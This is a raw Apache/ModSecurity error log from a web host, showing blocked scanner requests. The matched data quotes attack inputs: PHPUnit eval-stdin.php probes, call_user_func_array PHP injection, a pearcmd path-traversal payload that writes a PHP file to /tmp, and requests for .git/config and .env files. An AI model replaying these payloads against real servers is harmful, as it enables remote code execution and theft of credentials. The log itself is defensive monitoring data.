[Sat Oct 24 20:47:48.302087 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutgAAACk"]
[Sat Oct 24 20:47:48.302460 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutgAAACk"]
[Sat Oct 24 20:47:48.343760 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutwAAACk"]
[Sat Oct 24 20:47:48.344183 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutwAAACk"]
[Sat Oct 24 20:47:48.344477 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutwAAACk"]
[Sat Oct 24 20:47:48.457243 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuAAAACk"]
[Sat Oct 24 20:47:48.466122 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuAAAACk"]
[Sat Oct 24 20:47:48.466567 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuAAAACk"]
[Sat Oct 24 20:47:48.520562 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuQAAACk"]
[Sat Oct 24 20:47:48.521317 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuQAAACk"]
[Sat Oct 24 20:47:48.521584 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuuQAAACk"]
[Sat Oct 24 20:47:48.580916 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.580996 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\\x22hi\\x22));?>+/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.581030 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.581060 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create/&/<?echo(md5(hi)) ?>/tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.644298 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?:<\\\\?(?!xml\\\\s)|<\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "41"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <? found within ARGS_NAMES:/<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php: /<?echo(md5(\\x22hi\\x22));?> /tmp/index1.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.703947 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:48.704400 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: PHP Open Tag Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1RtN3lMH_Ldre-PZtuugAAACk"]
[Sat Oct 24 20:47:49.815904 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.196:54982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/sanity_checks
[Sat Oct 24 20:47:54.258216 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 52.2.191.202:30497] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/tty16/subsystem/ttyS1/io_type
[Sat Oct 24 20:47:58.187408 2026] [autoindex:error] [pid 2731612:tid 2731612] [client 34.231.156.59:49804] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/var/softaculous/openb/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sat Oct 24 20:48:06.266295 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 18.235.158.19:34446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/userfaultfd_ctx_cache/slabs
[Sat Oct 24 20:48:12.029920 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.211:55586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/min_partial
[Sat Oct 24 20:48:22.188518 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.70.138.176:13376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup3/device/physical_node/driver/uevent
[Sat Oct 24 20:48:26.207571 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.234.206.30:45639] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:48:34.206690 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.170.205.140:50694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:48:38.142666 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.202.52.82:51709] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:48:58.143949 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 35.174.141.243:4091] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/usb/devices/1-0:1.0/subsystem/drivers/usbfs/bind
[Sat Oct 24 20:49:06.225104 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.71.218.25:12177] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:49:18.255102 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.204.81.148:59184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:49:30.141611 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 23.21.175.228:8927] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/devices/0000:00:01.2/rescan
[Sat Oct 24 20:49:38.253952 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.231.156.59:45431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:49:44.927159 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.209:14328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/reclaim_account
[Sat Oct 24 20:49:46.146012 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 50.16.216.166:4071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:49:54.617358 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.225.148.123:38611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:50:10.180459 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 107.20.224.184:12848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:50:38.151493 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.226.34.98:36952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/subsystem/drivers/uhci_hcd/uevent
[Sat Oct 24 20:50:44.704667 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 185.191.171.18:31530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:50:50.132260 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.4.213.199:15912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:50:54.255475 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.207.79.144:33008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/firmware_node/device:11/subsystem/drivers/battery/unbind
[Sat Oct 24 20:50:58.125353 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.89.90.224:55145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:02.264774 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 54.147.80.137:6186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input1/device/subsystem/devices/serio1/driver/bind
[Sat Oct 24 20:51:05.367101 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.195:37466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/alloc_calls
[Sat Oct 24 20:51:10.129287 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.233.114.237:64234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:18.253156 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.223.134.5:19120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:26.151047 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.44.174.136:62642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:30.254188 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.235.215.92:36441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:51:37.624637 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1SmT8oejtZfsaip1YobQAAABE"]
[Sat Oct 24 20:51:37.624902 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1SmT8oejtZfsaip1YobQAAABE"]
[Sat Oct 24 20:51:37.625222 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1SmT8oejtZfsaip1YobQAAABE"]
[Sat Oct 24 20:51:37.744266 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1SmT8oejtZfsaip1YobwAAABE"]
[Sat Oct 24 20:51:37.744520 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1SmT8oejtZfsaip1YobwAAABE"]
[Sat Oct 24 20:51:37.744796 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1SmT8oejtZfsaip1YobwAAABE"]
[Sat Oct 24 20:51:37.774728 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1SmT8oejtZfsaip1YocAAAABE"]
[Sat Oct 24 20:51:37.774973 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1SmT8oejtZfsaip1YocAAAABE"]
[Sat Oct 24 20:51:37.775274 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1SmT8oejtZfsaip1YocAAAABE"]
[Sat Oct 24 20:51:37.819500 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1SmT8oejtZfsaip1YocQAAABE"]
[Sat Oct 24 20:51:37.819752 2026] [security2:error] [pid 2684583:tid 2684583] [client 8.234.202.175:46862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1SmT8oejtZfsaip1YocQAAABE"]
